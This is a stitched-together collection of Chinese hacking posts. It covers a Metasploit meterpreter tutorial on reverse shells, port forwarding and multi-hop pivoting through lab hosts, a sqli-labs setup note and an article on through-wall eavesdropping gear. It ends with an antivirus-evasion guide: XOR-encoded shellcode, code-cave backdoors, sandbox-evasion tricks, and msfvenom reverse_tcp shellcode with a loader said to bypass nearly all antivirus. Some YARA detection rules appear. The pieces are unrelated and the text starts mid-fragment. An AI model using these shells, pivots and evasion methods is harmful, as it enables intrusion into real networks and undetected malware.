{"LHOST"=>"192.168.101.105", "LPORT"=>"444"} 1.启动msfconsole,监听反连端口 root@kali:~# msfconsole [*] Starting the Metasploit Framework console.../ Taking notes in notepad? Have Metasploit Pro track & report your progress and findings -- learn more on http://rapid7.com/metasploit =[ metasploit v4.11.0-2014122301 [core:4.11.0.pre.2014122301 api:1.0.0]] + -- --=[ 1386 exploits - 863 auxiliary - 236 post ] + -- --=[ 342 payloads - 37 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0 msf exploit(handler) > set LPORT 444 LPORT => 444 msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (accepted: seh, thread, process, none) LHOST 0.0.0.0 yes The listen address LPORT 444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > run [*] Started reverse handler on 0.0.0.0:444 [*] Starting the payload handler... 2.在xp-test1执行meter.exe,attacker获得 meterperter msf exploit(handler) > run [*] Started reverse handler on 0.0.0.0:444 [*] Starting the payload handler... [*] Sending stage (770048 bytes) to 192.168.101.107 [*] Meterpreter session 1 opened (192.168.101.105:444 -> 192.168.101.107:48019) at 2015-01-11 12:49:11 +0800 meterpreter > ipconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 2 ============ Name : AMD PCNET Family PCI Ethernet Adapter - pencS Hardware MAC : 00:0c:29:ed:cf:d0 MTU : 1500 IPv4 Address : 10.1.1.128 IPv4 Netmask : 255.255.255.0 2.portfwd portfwd是meterpreter提供的一种基本的端口转发. porfwd可以反弹单个端口到本地,并且监听。使用方法如下: meterpreter> portfwd meterpreter> portfwd -h #帮助命令 用法:portfwd [-h] [add | delete | list | flush] [args] 选项: -L <opt>要监听的本地主机(可选)。<opt> 本地主机监听(可选)。 -h帮助横幅。 -l <opt>要监听的本地端口。<opt> 本地端口监听。 -p <opt>连接到的远程端口。<opt> 连接到的远程端口。 -r <opt>要连接到的远程主机。<opt> 连接到的远程主机。 使用实例介绍: 反弹10.1.1.129端口3389到本地2222并监听那么可以使用如下方法: meterpreter> portfwd add -l 2222 -r 10.1.1.129 -p 3389 [*]本地TCP中继创建:0.0.0.0:2222 < - > 10.1.1.129:3389 meterpreter> portfwd 0:0.0.0.0:2222 - > 10.1.1.129:3389 1个本地端口转发。 已经转发成功,下面来验证下: root @ kali:〜#netstat -an | grep“2222” tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN 可以看到已经成功监听2222端口 接着连接本地2222端口即可连接受害机器10.1.1.129 3389端口,如下: root @ kali:〜#rdesktop 127.1.1.0:2222 可以看到,已经成功连接到10.1.1.129的3389端口 3.pivot pivot是meterpreter最常用的一种代理,可以轻松把你的机器代理到受害者内网环境,下面介绍下pivot的搭建和使用方法 使用方法route add 目标i或ip段 Netmask 要使用代理的会话,通过实例来说明: 在metasploit添加一个路由表,目的是访问10.1.1.129将通过meterpreter的会话 1 来访问: msf exploit(handler) > route add 10.1.1.129 255.255.255.255 1 msf exploit(handler) > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.1.1.129 255.255.255.255 Session 1 这里如果要代理10.1.1.129/24 到session 1,则可以这么写 route add 10.1.1.0 255.255.255.0 1 到这里pivot已经配置好了,你在msf里对10.1.1.129进行扫描(db_nmap)或者访问(psexe 模块,ssh模块等)将通过代理session 1这个会话来访问。 如果想通过其他应用程序来使用这个代理怎么办呢,这时候可以借助 metasploit socks4a提供一个监听隧道供其他应用程序访问: 首先使用 socks4a并且配置,监听端口 msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > exploit -y [*] Auxiliary module execution completed msf auxiliary(socks4a) > [*] Starting the socks4a proxy server 查看监听端口 root@kali:~# netstat -an | grep "1080" tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN 端口已经监听,接着配置 proxychains root@kali:~# vim /etc/proxychains.conf [ProxyList] # add proxy here ... # meanwileroot@kali:~# netstat -an | grep "1080" tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN # defaults set to "tor" socks4 127.0.0.1 1080 配置好以后看看使用 proxychains进行代理访问,这里访问10.1.1.129 3389端口 可以看到已经成功访问 4.多级代理 (1).二级代理隧道 上面介绍了meterpreter基础的代理方法,但是有些实际环境不能直接使用,考虑如下环境(内网机器A、B。A机器可以对外连接,但是访问控制很严格,只能访问到很少的内网机器,B机器不能对外连接,但是可以访问到很多核心服务和机器,A、B之间可以互相访问),如果我们想通过B机器对核心服务和机器进行扫描和访问要怎么办呢? 这时候我们就meterpreter的pivot组合轻松实现二级代理就可以 效果示意图:attacker->xp-test1->xp-test2 首先接着上面,我们已经有一个xp-test1反弹回来的meterprter了,接着我们生成一个正向的执行文件 root@kali:~# msfpayload windows/meterpreter/bind_tcp RHOST=0.0.0.0 RPORT=4444 X > Rmeter.exe [!] ************************************************************************ [!] * The utility msfpayload is deprecated! * [!] * It will be removed on or about 2015-06-08 * [!] * Please use msfvenom instead * [!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 * [!] ************************************************************************ Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/bind_tcp Length: 285 Options: {"RHOST"=>"0.0.0.0", "RPORT"=>"4444"} 生成好以后在xp-test2上面运行 接着在msf里面添加路由 msf exploit(handler) > route add 10.1.1.129 255.255.255.255 2 [*] Route added msf exploit(handler) > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.1.1.129 255.255.255.255 Session 2 连接正向 meterpreter获取权限 msf exploit(handler) > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows//bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(handler) > set RHOST 10.1.1.129 RHOST => 10.1.1.129 msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (accepted: seh, thread, process, none) LPORT 444 yes The listen port RHOST 10.1.1.129 no The target address Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (accepted: seh, thread, process, none) LPORT 4444 yes The listen port RHOST 10.1.1.129 no The target address Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > run [*] Started bind handler [*] Starting the payload handler... [*] Sending stage (770048 bytes) [*] Meterpreter session 3 opened (192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444) at 2015-01-11 13:34:37 +0800 现在已经获取到xp-test2的权限,注意这里是通过xp-test1 pivot代理 下面来验证下,查看xp-test2 4444端口 C:\Documents and Settings\Administrator>netstat -an | find "4444" TCP 10.1.1.129:4444 10.1.1.128:1051 ESTABLISHED 是通过xp-test1进行连接的。 这时候二级代理已经搭建好了,你可以添加需要访问的ip到路由表,通过第二层的session(session 3),就可以使用metaploit的其他模块访问或扫描了 (2).三级或多级代理 有时候过于庞大或者复杂的内网环境,甚至需要三层或者多层代理,原理与两层相似,通过在第二层代理的基础上进行连接既可 示意图:attacket->xp-test1->xp-test2->xp-test3->….. 与两层代理类似,如下实现: msf exploit(handler) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 2 meterpreter x86/win32 XP-TEST1\Administrator @ XP-TEST1 192.168.101.105:444 -> 192.168.101.107:51205 (10.1.1.128) 4 meterpreter x86/win32 XP-TEST2\Administrator @ XP-TEST2 192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129) msf exploit(handler) > route add 10.1.1.131 4 [-] Missing arguments to route add. msf exploit(handler) > route add 10.1.1.131 255.255.255.255 4 [*] Route added msf exploit(handler) > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 10.1.1.129 255.255.255.255 Session 2 10.1.1.131 255.255.255.255 Session 4 msf exploit(handler) > set RHOST=10.1.1.131 [-] Unknown variable Usage: set [option] [value] Set the given option to value. If value is omitted, print the current value. If both are omitted, print options that are currently set. If run from a module context, this will set the value in the module&#039;s datastore. Use -g to operate on the global datastore msf exploit(handler) > set RHOST 10.1.1.131 RHOST => 10.1.1.131 msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (accepted: seh, thread, process, none) LPORT 4444 yes The listen port RHOST 10.1.1.131 no The target address Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > run [*] Started bind handler [*] Starting the payload handler... [*] Sending stage (770048 bytes) [*] Meterpreter session 5 opened (192.168.101.105-_1_-192.168.101.107:0 -> 10.1.1.131:4444) at 2015-01-11 13:45:53 +0800 meterpreter > background [*] Backgrounding session 5... msf exploit(handler) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 2 meterpreter x86/win32 XP-TEST1\Administrator @ XP-TEST1 192.168.101.105:444 -> 192.168.101.107:51205 (10.1.1.128) 4 meterpreter x86/win32 XP-TEST2\Administrator @ XP-TEST2 192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129) 5 meterpreter x86/win32 XP-TEST3\Administrator @ XP-TEST3 192.168.101.105-_1_-192.168.101.107:0 -> 10.1.1.131:4444 (10.1.1.131) 在xp-test3查看端口连接 C:\Documents and Settings\Administrator>netstat -an | find "4444" TCP 10.1.1.131:4444 10.1.1.129:1032 ESTABLISHED 在xp-test2查看4444端口 C:\Documents and Settings\Administrator>netstat -an | find "4444" TCP 10.1.1.129:1032 10.1.1.131:4444 ESTABLISHED TCP 10.1.1.129:4444 10.1.1.128:1054 ESTABLISHED 说明已经实现三级连接,即attacker->xp-test1->xp-test2->xp-test3 最后,代理级数越多,带宽损耗和稳定性就会下降。渗透过程中根据实际情况自由灵活的选择和使用代理方式才能实现事半工倍的效果。 <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">
  12. phpstduy安装 搭建sqli-labs靶场需要php和mysql环境,可以直接用phpstudy的集成环境,先去官网下载phpstud [下载连接] https://www.xp.cn/ 下载自己对应的版本, 自定义安装到d盘 之后打开启动mysql和nginx sqli-labs安装 https://github.com/Audi-1/sqli-labs 下载源码,解压到刚才phpstudy目录下www文件夹中 修改/sqli-labs/sql-connections/credb.inc文件中mysql账号密码,使之能连接上数据库 默认数据库密码为root 之后用phpstudy创建网站, 域名填127.0.0.1,端口可以修改也可以不修改,因为我之前的网站用过80端口了,所以我选择了7777端口 进入网站首页 初始化数据库 显示信息是这样就搭建完成了
  13. 声明:以下内容符合OSINT国际开源情报搜集标准,不涉及任何非法行为,仅供交流与参考。 0x01 先聊聊酒店的墙壁 咳咳,行有行规,先说点正经的。 按照国内酒店装修必须遵循的行业标准《旅馆建筑设计规范》JGJ62-2014中规定,旅馆建筑的隔声减噪设计应符合现行国家标准《民用建筑隔声设计规范》GB 50118-2010的规定。 如下图所示,可以看到,墙壁厚度还真是和酒店级别有一定关系的。 不过在装修的行话里,老师傅们一般会更通俗地用“一砖墙”的说法。所谓“一砖墙”,顾名思义就是厚度为一块标准砖的墙,类似地,就有了“半砖、1砖、1砖半、2砖”墙的说法。 说到这儿,顺便调查下,这些年大家住过的酒店,你认为客房墙壁有多厚? PS:更多关于墙壁厚度的定义,大家可以在评论区里回复“一砖墙”,就能看到。 那么,按照装修标准,是不是说五星级酒店客房就一定安全呢? 这个嘛,真不好说。 0x02 一般人如何偷听隔壁 经常出差的人应该都有过这样的体验,尤其是苦逼出差的IT工程师们,撰写项目文档或做编程测试不知不觉到半夜,突然被隔壁莫名的声音惊扰。 除此之外,明显对内部会议、私下聊天的偷听会更有意义。于是乎,什么听诊器、杯子等都被人用来做偷听道具。 百度知道上,甚至还有人专门回答了用杯子偷听的心得,也是醉了。 嗯,肯定有老司机觉得这些都太基础了,根本不值一提,也是,接下来说说专业的做法。 0x03 专业隔墙偷听几十年 从原理上讲,专业偷听设备的确类似于听诊器,不过区别是,专业设备加入了电子降噪及放大的能力,所以也被称为:室内物理音频放大设备。 即行业里常说的:“隔墙听”。 嗯,这个知识点刚好和上一期的“远程室外物理音频放大器”互为补充。当然,和室外设备不同,“隔墙听”主要被用于对办公室、内部会议、私下聚会等室内环境的监听。 “隔墙听”设备,通常包括一个高灵敏度电子降噪放大器,一个包裹在金属外壳中的柱状超灵敏麦克风,一副监听耳机以及发射天线。 在使用的时候,要将柱状探头(麦克风)紧贴在目标墙壁上,理论上,只需要通过调整降噪模式,就能听到隔壁的声音。 不过实际上,几百元至一两千元的民用低端产品,与上万元的专业高性能“隔墙听”设备之间,效果差距是非常大的。 呵呵,一般而言,民用款遇到“一砖墙”基本就没啥用了,个别甚至“半砖墙”就完全失效。 下图是一款军用级“隔墙听”,可以轻松实现“一砖墙”以上厚度的监听。啧啧,就是真心不便宜啊。 韩国电影《特工》(又名北风/北寒谍战)里描述的是中国改革开放初期,来自南韩和北朝鲜的间谍们在中国北京及朝鲜平壤间展开的一系列骚操作。 其中有一个片段,南韩间谍使用了专业“隔墙听”透过天花板的预制水泥板,来偷听上层会客室内几位大佬的聊天内容。 最近热映的韩国电影《南山的部长们》,以韩国中央情报部(KCIA)的部长们(副总理级)与他们所主导的政治阴谋为素材,讲述了1979年被称为第二掌权者的中央情报部部长在韩国总统暗杀事件发生前40天间的故事。 影片中展现的国安级设备也非常专业,在电影中,韩国中央情报局局长,就使用了专业“隔墙听”,来偷听总统谈话。 是不是觉得这简直是居家旅游升官发财覆手为雨防不胜防的必备杀器?在L2隐私保护课程中,学员们也会学习这类器材的防御方式,这里就不再重复。 下图是两年前,杨叔代表RC²反窃密实验室和“全日本综合调查业协会”交流商业调查员器材,其中就有商业级“隔墙听”。 0x04 再加深些了解 杨叔和一些所谓的“反窃密行业”的人交流过,很无语地发现除了真正的科班出身,其实大部分人都对包括“隔墙听”在内的很多器材一知半解,仍停留在“满嘴跑火车为了卖设备瞎吹嘘”的阶段。 比如,“隔墙听”的早期原型,压根不是用于墙壁及其他介质监听的。它最早不过是汽车工程师的一种工具,通过对发动机内部声音的分析,协助判断可能的故障。 慢慢地,这个概念引申出一系列可以通过墙壁、地面、隔板和其他介质的声音放大设备。比如在早期的情报界,专业的“隔墙听”设备基本上都通过探针式麦克风来完成,这一点和原型非常相似。 杨叔翻看了很多公开/半公开的情报资源库,找出了这款在1980年代后期制造的国安级专业“隔墙听”套装,如下图所示。 该“隔墙听”套装包括一个具有宽动态范围的高灵敏度放大器,一个包裹在金属外壳中的超灵敏探针式麦克风,以及一副超保真耳机。 那个时候的监听人员,只需要将连接麦克风的探针插入墙壁上的小孔,就可以监听隔壁房间中的任何声音。 同样地,也可以通过钥匙孔监听隔壁房间中的对话。 如果没有现成的孔洞,监视人员会使用特殊的钻孔工具,在墙上钻一个小孔,却不会在另一侧留下任何痕迹。所以为了应对墙壁、天花板等不同厚度介质,这款专业套装里也提供了四个不同长度的探针。 当年,CIA甚至专为这个套装额外配备了最早用于秘密监听的动态麦克风和专门设计的电子探针。 What?多少钱?在哪儿买?嗯,不好意思,信号不好听不清楚,专业内容到此为止,不再深入讨论。 0x05 如何防御? 很遗憾,由于默认情况下,“隔墙听”设备自身不会发射任何无线信号,所以没有办法通过对无线信号的监测来发现(PS:虽然“隔墙听”设备支持将语音无线发射,但一般都不使用这个模块)。 这就是为什么每次有朋友询问有什么“反窃密”的随身设备,杨叔都会先确认具体场景和需求,因为没有什么设备是一劳永逸的,完全取决于实际需求环境和使用场景。 和我们常说的酒店隐私保护要求一样,一般来说,加大环境噪音是个很取巧的防御方法,其它一些方法杨叔已经在上篇科普文里提过了,来回复制粘贴也没意思,要不大家再抽空温习下? “远距离语音监听 ▪ 来自网店的解决方案” ----END-----
  14. 0×01 静态检测与对抗 1.静态分析原理 简单的来说,就是通过特征码识别静态文件,杀软会扫描存在磁盘上的镜像文件,如果满足特征码,就识别为恶意软件。 恶意软件匹配规则yara匹配恶意软件的时候就是用的这样的方式。 通过特征来识别抓HASH工具QuarksPwDump,yara规则如下(查看源码) /* This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as long as you use it under this license. */ rule QuarksPwDump_Gen : Toolkit { meta: description = "Detects all QuarksPWDump versions" author = "Florian Roth" date = "2015-09-29" score = 80 hash1 = "2b86e6aea37c324ce686bd2b49cf5b871d90f51cec24476daa01dd69543b54fa" hash2 = "87e4c76cd194568e65287f894b4afcef26d498386de181f568879dde124ff48f" hash3 = "a59be92bf4cce04335bd1a1fcf08c1a94d5820b80c068b3efe13e2ca83d857c9" hash4 = "c5cbb06caa5067fdf916e2f56572435dd40439d8e8554d3354b44f0fd45814ab" hash5 = "677c06db064ee8d8777a56a641f773266a4d8e0e48fbf0331da696bea16df6aa" hash6 = "d3a1eb1f47588e953b9759a76dfa3f07a3b95fab8d8aa59000fd98251d499674" hash7 = "8a81b3a75e783765fe4335a2a6d1e126b12e09380edc4da8319efd9288d88819" strings: $s1 = "OpenProcessToken() error: 0x%08X" fullword ascii $s2 = "%d dumped" fullword ascii $s3 = "AdjustTokenPrivileges() error: 0x%08X" fullword ascii $s4 = "\\SAM-%u.dmp" fullword ascii condition: all of them } 可以看到匹配匹配$s1 $s2 $s3 $s4全部四条规则及标记为识别。 当然还有通过md5、sha1来计算文件hash识别恶意软件,最简单粗暴而且有效,但是也很容易绕过,也有分段进行hash来识别相似度的方法,原理和上面的特征码识别都是一样的,这里不再赘述。 2.对抗静态分析 1.修改特征码 特征码的识别也有一些不同的方式,最开始是使用单个特征码来定位,就有了与之对抗的ccl,随着对抗技术的升级,就有了多条的特征码,对应的也就有了mutilccl, myccl, virtest,甚至现在github上的自动化特征码识别,技术越来越多样。 修改特征码最重要的是定位特征码,但是定位了特征码修改后并不代表程序就能正常运行,费时费力,由于各个杀软厂商的特征库不同,所以一般也只能对一类的杀软起效果。虽然效果不好,但有时候在没有源码的情况下可以一用。 虽然meterpreter对于我们来说是开源的,但是偶尔编译出来的文件修改一些小地方就能让杀软直接报废,也算是一个保留方法吧,这里限于篇幅我就不贴代码和操作了。 2.加壳 加壳虽然对于特征码绕过有非常好的效果,加密壳基本上可以把特征码全部掩盖,但是缺点也非常的明显,因为壳自己也有特征。在某些比较流氓的国产杀软的检测方式下,主流的壳如VMP, Themida等,一旦被检测到加壳直接弹框告诉你这玩意儿有问题,虽然很直接,但是还是挺有效的。有些情况下,有的常见版本的壳会被直接脱掉分析。 面对这种情况可以考虑用一切冷门的加密壳,有时间精力的可以基于开源的压缩壳改一些源码,效果可能会很不错。 总得来说,加壳的方式来免杀还是比较实用的,特别是对于不开源的PE文件,通过加壳可以绕过很多特征码识别。 3.shellcode 编译 metasploit是我认为世界上最好用的渗透测试工具。 msfvenom不仅提供多种格式的payload,其中就包括shellcode。shellcode对于源码免杀来说基本上是最好用的那种,绕过静态杀软的神器。 shellcode编译的具体方式请参考我之前的文章meterpreter技巧分享,这里不再赘述。 使用msfvenom选择encoder的时候大家一般都会选择shikata_ga_nai这个编码方式(因为x86的encoder里只有它的Rank是excellent),这个encoder的解码和编码过程都是随机生成的。(编码过程可参考源码)。 但是,这个编码内容是有特征的,经过shikata_ga_nai 编码之后的shellcode必定含有\xd9\x74\x24\xf4 这串16进制字符,我写了一个yara规则可以轻松检测到由 shikata_ga_na编码的shellcode,规则如下: rule Metasploit_Encoder_shikata_ga_nai :decoder { meta: description = "Detects shikata_ga_nai encode shellcode" author = "Green-m" date = "2017-11-27" strings: $hex_string = { d9 7424 f4 ( ?? ?? | ?? ?? ?? ?? ?? ?? ?? ) c9 b1 } condition: $hex_string } 测试结果如图: 当然不止是 shikata_ga_na 编码方式,其他的编码方式特征可能更加明显(x86/fnstenv_mov 的编码方式就被很多杀软能直接检测到,远不如 shikata_ga_na)。那么如果要对抗这样的情况,只能自己再将编码过后的shellcode进行编码或者加密。 我这里写一个简单的xor作为demo供大家感受一下,代码如下: unsignedchar shellcode[]= "\x33\xc9\xb1\xc6\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe6"; // the key to xor unsignedchar key[]="\xcc\0xfa\0x1f\0x3d"; // encode shellcode for ( i=0; i<(sizeof(shellcode)-1) ; i=i+1) { shellcode[i]=shellcode[i]^key[i % sizeof(key)]; } // decoder voiddecode() { for (i=0; i<(sizeof(shellcode)-1); i+=1) shellcode[i]=shellcode[i]^key[i%sizeof(key)]; } voidexecuteShellcode() { decode(); // run shellcode } 4.shellcode植入后门 目前有不少文章和工具都提供了植入后门的方法。例如shellter,the-backdoor-factory,工具的功能都很强大。 这里介绍一下手动在code cave(代码间隙)植入后门的方法,整体流程如图: 其中比较关键的部分是调整堆栈平衡,通过sub esp, 或者add esp, 来调整堆栈,否则执行完payload后的正常程序会崩溃。 如果没有适合大小的code cave或者payload 的非常大,这个时候可能需要多个code cave一起使用,关键部分如下图流程 还可以结合上一部分的编码或加密,免杀效果很好,大部分的杀软都直接GG . 5.多平台多语言 同一种编译器生成的PE文件在某些区段上是有相同或相近的二进制字节的,杀软在收集同一方式生成的大量木马后,很容易就将这些PE文件的特征提取出来加以识别(例如现在msfvenom直接生成的exe就是这样的)。因此,通过更改编译环境,让被识别的特征码改变,达到免杀的目的,改变语言也是同样的思路。 linux下的跨编译器有mingw-w64, tdm-gcc等,veil-evasion的c语言编译器是用的mingw64,而AVET的编译器用的是tdm-gcc,最开始使用时效果还是不错的,用得多了杀软开始有意的提取这些编译器编译后的特征码,就被一杀一个准了。 veil作为一个持续更新的免杀框架,利用多种语言进行编译,来实现绕过特征码免杀的目的,使用的语言包括c, python, ruby, perl, powershell, c#, go 等,再通过pytoexe或者 pywin32来转换python代码成exe,来保持自己木马的多样性(payload生成源码)。 当然还有更猥琐的方式,如转换成js,php,sct等非编译型语言执行,这里就不详细展开了,有兴趣的自己去了解。 6.小结 静态免杀大概就这样方法,有时候需要结合多种方法一起使用,当然在没有源码的前提下一般都采用第一种和第二种方法,当然也可以考虑反汇编加花加空等修改源码,这样需要投入更多的时间和精力,也对操作者有更高的技能要求。 0×02 流量检测与对抗 1.Meterpreter的传输加载 要知道meterpreter的流量特征,首先要搞清楚meterpreter的传输方式。 metasploit的木马分为两个大类,staged 和stageless 。 staged类型的木马的运行流程为: 客户端在从服务器端接收stager后,stager由引导代码loader和payload组成,客户端在内存中分配一段地址将payload暂存起来,再通过loader来加载内存中的payload。这种内存中注入PE文件的方式称为反射型DLL注入。 stageless的则是将完整的payload都编译在木马中,相对与staged的木马来说,前者体积庞大不灵活,而且容易被杀。 我们以windows/meterpreter/reverse_tcp为例,下面是部分源码(完整源码) # Generate and compile the stager # defgenerate_reverse_tcp(opts={}) combined_asm = %Q^ cld ; Clear the direction flag. call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} ; To find some functions address such as VirutalAlloc() start: pop ebp #{asm_reverse_tcp(opts)} ; Send and recvice socket connection #{asm_block_recv(opts)} ; Do some stuff after recvied payload ^ Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string end asm_block_api 部分是用来定义查询API调用地址的函数。 asm_reverse_tcp 部分是用来发送socket请求的。 asm_block_recv 部分是建立连接后,接收服务端发送的stager,再通过 VirtualAlloc() 分配RWX权限的内存,然后执行后续。 那么大家可以看到,这部分建客户端发起连接的过程其实是没有什么特征的,特征主要是在服务端发送的stager,接下来让我们详细看看发送的stager里是什么。 为了让客户端运行服务端发送的meterpreter payload,需要先发送一个加载meterpreter_loader,这个引导代码的源码如下(完整源码地址): def asm_invoke_metsrv(opts={}) ^ asm = %Q^ ; prologue dec ebp ; 'M' pop edx ; 'Z' call $+5 ; call next instruction pop ebx ; get the current location (+7 bytes) push edx ; restore edx inc ebp ; restore ebp push ebp ; save ebp for later mov ebp, esp ; set up a new stack frame ; Invoke ReflectiveLoader() ; add the offset to ReflectiveLoader() (0x????????) add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)} call ebx ; invoke ReflectiveLoader() ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ; offset from ReflectiveLoader() to the end of the DLL add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} 这段代码主要作用是加载反射性注入的引导代码ReflectiveLoader,通过ReflectiveLoader来加载meterpreter及相关配置。由于篇幅原因,这里我们不深究反射性注入的详细加载方式,知道大概原理即可,如果有兴趣可以阅读源码理解。 2.Meterpreter检测 这段meterpreter_loader是固定的一段汇编代码,通过nasm将该部分汇编代码转化为机器码如下(可能随环境变化): 4d5ae8000000005b52455589e581c364130000ffd381c395a40200893b536a0450ffd0 该16进制字符串即为meterpreter的特征。为了验证思路,通过抓取流量来查看发送的payload,可以看到传输后发送的payload最开始的部分就是上面的机器码,如图所示: 编写一个yara规则来测试是否能检测到(yara除了能检测静态PE格式文件,也能检测流量文件,当然你也可以使用snort),规则如下: rule Metasploit_Meterpreter_Loader :RAT{ meta: description = "Detects Metasploit Meterpreter Windows Reverse Stager" author = "Green-m" date = "2017-12-11" strings: $hex_string = { 4d 5a e8 00 00 00 00 5b 52 45 55 89 e5 81 c3 64 13 00 00 ff d3 81 c3 95 a4 02 00 89 3b 53 6a 04 50 ff d0 } condition: $hex_string } 用yara检测传输的流量包,瞬间检测到,如图所示: 注:如果用该yara规则直接检测进程中的内存的话,不管流量怎么加密最终都会解密,然后被yara检测到meterpreter_loader,除了效率较低之外,能绕过就只能靠修改源码了。 这里限于篇幅限制,其他payload的流量特征请各位看官自己去摸索测试,这里就不多浪费篇幅。 3.对抗流量检测 既然流量是有特征的,那么有没有办法对流量进行加密呢,答案是肯定的,通过在服务端设置 set EnableStageEncoding true set StageEncoder x86/fnstenv_mov 效果如图所示,(当然这里的stagerencoder可以任意选) 发送出去的stager就被编码过了,从流量看都是被编码过的数据,看不出来任何特征,如图: 如果你觉得这种对流量进行编码的方式也不够保险,那么msf还提供了偏执模式(paranoid-mode),可以用证书对流量进行加密。 具体操作方法可以参考官方文档或者我的博客。 0×03 动态监测对抗 静态检测和流量监测都说到了,接下来我们说如何对抗沙盒。要做到完全对抗沙盒工程量是很大的,这里我们只讲一些猥琐的小技巧来骗过杀软的沙盒分析。 杀毒软件最大的问题就是面对成千上万的文件,如何最快速度的扫描完所有的文件,而不浪费大量的性能在单个文件上(在扫描过程中把机器卡死是相当糟糕的体验)。要做到这个,需要在大量的文件中进行合理的取舍。 1.sleep 在很早的对抗杀软的技术中,通过一个sleep,占用大量的时间,就能够绕过杀软的动态分析,当然现在这样肯定是不行的了。推测杀软会hook 系统sleep函数,然后直接略过,直接后面的代码,这样是最聪明和省事儿的方法了。为了验证想法,我们通过一段代码来测试一下。 为了除去别的容易干扰的因素,我选择使用固定的一种编译器对shellcode进行编译。 直接编译生成,virustotal的结果如下,19/67 添加如下的代码之后再进行检测: time_begin = GetTickCount() ; Sleep(5555); time_end = GetTickCount(); DWORD time_cost = time_end - time_begin; if((time_cost > time_sleep+5) || (time_cost < (time_sleep - 5))) {return0;} runshellcode(); 检测16/66 虽然只减少了3个,不过也说明部分杀软还是吃这一套。。 2.NUMA NUMA代表Non Uniform Memory Access(非一致内存访问)。它是一个在多系统中配置内存管理的方法。它与定义在Kernel32.dll中所有一系列函数连接在一起。 更多的信息可以参考官方文档: http://msdn.microsoft.com/en-us/library/windows/desktop/aa363804(v=vs.85).aspx 代码如下: address = VirtualAllocExNuma(handle, NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE,0); if (address == NULL){return0;} runshellcode(); 检测结果17/67,又少了两个。 0×04 生成shellcode免杀 手动编译meterpreter并对shellcode进行编码就能绕过静态查杀,meterpreter本身就是直接加载进内存并且有编码,绕过动态查杀基本没问题(当然你也可以使用veil-evasion,不过效果不怎么好)。 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' lhost=192.168.1.200 lport=4444 -f c 上述命令生成在之前的基础上生成基于c语言格式的shellcode,通过e参数指定编码方式,i参数指定编码次数,b参数去除指定代码,一般是空代码或者错误代码,-f指定生成格式。 unsigned char buf[] = shellcode is here main() { ( (void(*)(void))&buf)(); } 这种方式vc++6.0能够成功编译,但是vs编译会报错,可以换成: main() { Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)(); } 还有很多其他的方法,这里就不一一测试了。 友情提示:在实战情况下,免杀效果会根据编译器和系统环境而变化,可以多准备一些环境进行免杀工作。 通过上述方法编译生成的exe可以绕过几乎100%杀软,包括360,卡巴斯基,小红伞等杀软。 0×05 选择payload进行免杀 上面生成shellcode的方式是针对杀软静态免杀的,接下来说到动态行为免杀。 